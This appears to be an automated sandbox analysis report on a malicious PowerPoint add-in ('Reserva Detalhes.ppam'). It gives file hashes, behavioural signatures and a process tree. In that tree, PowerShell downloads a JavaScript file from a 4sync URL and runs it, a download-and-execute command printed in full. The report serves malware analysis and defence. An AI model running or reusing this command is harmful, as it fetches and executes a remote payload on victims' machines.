Analysis

  • max time kernel
    117s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    25-03-2024 16:24

General

  • Target

    Reserva Detalhes.ppam

  • Size

    12KB

  • MD5

    a1d2e92429553425cf7505c8563b84ed

  • SHA1

    d5550fa4da1db73fb15f3fcdd8935504350c392b

  • SHA256

    c495ec8d688d14f6e90a75d6570ffbb3f34cd716e05f661a5c57acaf7cccc10e

  • SHA512

    9db3cce89055888cf4f7ef8db57dc171fa48f16a5d6724a540f16b365514672e6ec283b25cf6a3e7985c5dd57d5c7538263da690596eaa71dcac7cfeaf677f98

  • SSDEEP

    192:xrXP/Rz9m/qgC0XvXUyhRT2QiDjhmdihVGBZGinvSo0Ctbc7PHET:dXPWqgvXmQiDVm8GBklWbc7PG

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 35 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Reserva Detalhes.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2416
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2204
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wget https://www.4sync.com/web/directDownload/Uu-eVHlE/Rka0iUpD.1b3c3483be5eabe21a44cc4fbefcdd0d -o test.js; explorer.exe test.js
        2⤵
        • Process spawned unexpected child process
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2660
        • C:\Windows\SysWOW64\explorer.exe
          "C:\Windows\system32\explorer.exe" test.js
          3⤵
            PID:2508
      • C:\Windows\explorer.exe
        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
        1⤵
        • Modifies Internet Explorer settings
        PID:2472

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2416-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/2416-2-0x0000000072A0D000-0x0000000072A18000-memory.dmp
        Filesize

        44KB

      • memory/2416-10-0x00000000004D0000-0x00000000005D0000-memory.dmp
        Filesize

        1024KB

      • memory/2416-22-0x0000000072A0D000-0x0000000072A18000-memory.dmp
        Filesize

        44KB

      • memory/2416-0-0x000000002D7C1000-0x000000002D7C2000-memory.dmp
        Filesize

        4KB

      • memory/2416-21-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/2472-20-0x0000000003D10000-0x0000000003D20000-memory.dmp
        Filesize

        64KB

      • memory/2472-23-0x0000000003D00000-0x0000000003D01000-memory.dmp
        Filesize

        4KB

      • memory/2472-19-0x0000000003D00000-0x0000000003D01000-memory.dmp
        Filesize

        4KB

      • memory/2660-15-0x0000000002B80000-0x0000000002BC0000-memory.dmp
        Filesize

        256KB

      • memory/2660-18-0x000000006BCA0000-0x000000006C24B000-memory.dmp
        Filesize

        5.7MB

      • memory/2660-17-0x0000000002B80000-0x0000000002BC0000-memory.dmp
        Filesize

        256KB

      • memory/2660-16-0x0000000002B80000-0x0000000002BC0000-memory.dmp
        Filesize

        256KB

      • memory/2660-14-0x000000006BCA0000-0x000000006C24B000-memory.dmp
        Filesize

        5.7MB

      • memory/2660-13-0x000000006BCA0000-0x000000006C24B000-memory.dmp
        Filesize

        5.7MB